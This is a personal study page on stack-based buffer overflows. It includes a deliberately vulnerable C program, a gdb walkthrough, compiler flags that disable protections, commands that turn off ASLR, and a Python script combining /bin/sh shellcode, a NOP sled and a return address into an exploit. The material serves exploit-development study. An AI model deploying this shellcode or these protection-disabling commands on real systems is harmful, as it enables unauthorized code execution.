Stack Smashing
Stack smashing is a buffer overflow attack where writing past a fixed-size stack buffer overwrites adjacent stack data — most importantly the saved return address — to redirect execution.
Basic usage
A minimal vulnerable program and how it is typically built for study:
#include <stdio.h>
int main() {
char buf[16];
scanf("%s", buf); // no bounds check -> overflow
return 0;
}
# disable protections to make the overflow observable gcc vuln.c -o vuln -fno-stack-protector -no-pie -ggdb
Walkthrough
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
char u[16];
volatile int p = 0;
scanf("%s", u);
if (p != 0) {
printf("How u do dat?\n");
}
else {
printf("Nope.\n");
}
return 0;
}
compile: gcc vuln.c -o vuln -fno-stack-protector -ggdb
-
gdb vuln
-
disas main (not needed)
-
list 11
-
break 10
-
break 11
-
r <<< $(python -c "print('A'*40)") this should return a segmentation fault
note the memory address:
Program received signal SIGSEGV, Segmentation fault. 0x00005555555551a0 in main () at vuln.c:17
-
confirm with
info regorp/x $rip
remove a breakpoint: del #
-
x/16x buf
-
i f
Compiler flags
-
-fno-stack-protectordisables stack smashing protection. -
-m32generate 32-bit architecture code. -
-mpreferred-stack-boundary=2stack boundary should be aligned in 4 bytes. -
-ggdbgenerate debug information compatible with the GDB debugger. -
-fno-piedisables position-independent executable (PIE) generation which randomizes the base address of the executable. -
-z execstacksets the stack as executable.
ASLR
disabling: setarch $(uname -m) -R <ELF executable>
permanently: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Shellcode payload
import sys OFFSET = b"\x41" EIP = b"\x38\xcd\xff\xff" # PLEASE FIND THE CORRECT EIP FOR EVERY COMPUTER MEMORY ADDRESS. DO NOT USE THIS ADDRESS SINCE IT'S DIFFERENT FOR ALL COMPUTERS NOP = b"\x90" SHELLCODE = b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" SHELLCODE2 = b"\x31\xc0\x40\x89\xc3\xcd\x80" exploit = SHELLCODE2 + NOP*5 + EIP sys.stdout.buffer.write(exploit)
Imported Obsidian Notes
A Cyberattack that causes a Stack Overflow. This is done by intentionally overwriting the Buffer on the Call Stack. This is a type of Stack-based Buffer Overflow vulnerability.
-
It is an old technique.
-
Mitigated by Buffer Overflow Protections.
Concept
When written in memory unsafe languages like C and C++, memory allocations does not have bounding checks[1]. This means that when a buffer is allocated, there is no built-in mechanism to prevent writing data beyond the intended size of the buffer. This vulnerability can be exploited by overflowing the buffer, causing it to overwrite adjacent memory regions.
We can then write specific Shellcodes which gets executed by the Extended Instruction Pointer.
By carefully crafting the input data, the attacker can overwrite critical data structures, such as the return address on the stack, with a malicious payload known as "shellcode". When the vulnerable program attempts to return from the function, it will unwittingly transfer control to the injected shellcode, allowing the attacker to execute arbitrary commands or gain unauthorized access to the system
A debugger like GNU Debugger can be used to inspect the memory address of the vulnerable program.